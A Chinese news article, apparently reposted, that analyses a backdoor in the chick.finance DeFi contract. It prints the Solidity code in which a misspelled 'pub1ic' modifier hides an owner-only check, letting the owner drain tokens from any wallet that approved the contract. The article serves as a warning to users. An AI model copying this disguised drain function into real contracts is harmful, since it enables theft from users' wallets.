NER:关于DeFi流动性挖矿项目chick.finance恶意合约代码的详细分析_CryptoEnergy

就在刚刚,YFII通报了chick.finance合约代码的风险,不过其中提到的“用户充值的所有代币,开发者都有权限提取”这句话其实并不是完全准确的,因此在这里我们需要给大家做下更详细的描述:

该合约恶意代码的问题并不在于“开发者事发后能提取用户存在合约中的代币”,而在于对于任何给该合约授权了的用户,开发者都能把你钱包里的代币一扫而空,这正是比特派安全实验室在之前的那篇《以太坊Defi生态当前最大的安全隐患》一文中提到的“滥用合约授权问题”。

恶意代码是如下这段:

functionstartReward(address_from,uint256amount)externalpub1ic{

????weth.safeTransferFrom(_from,owner(),amount);

??}

开发者对故意拼写错误的pub1ic做了如下约束

modifierpub1ic(){

????require(isOwner(),"Ownable:callerisnottheowner");

????_;

??}

上述代码的逻辑很简单,干的就是那些给这个合约授权了的用户,合约Owner都能把你的代币转给Owner,就这么简单。

这其实是DeFi生态里非常严重的恶性事件,理应引起全行业的重视,因为这次可能恶意开发者只是用拼写错误的方式来试图蒙大家,然后很幸运的第一时间被发现了,那下次呢?是不是可以写出逻辑复杂并且很难被看出来的漏洞,静静的等待上线把各位的钱包一扫而空呢?要再次强调的是,这个例子中,您损失的可不仅仅是您存入合约的资产,而是你钱包里的全部资产,明白了吗?

我们之前在向全行业提出“滥用合约授权”问题的时候,就曾预计到可能会有开发者作恶的情况出现,没想到这一天来的这么快,这次代码伪装的比较蠢,那下次呢?下次DeFi矿工们是否还能躲得过去了呢

郑重声明: 本文版权归原作者所有, 转载文章仅为传播更多信息之目的, 如作者信息标记有误, 请第一时间联系我们修改或删除, 多谢。

大币网

[0:0ms0-9:348ms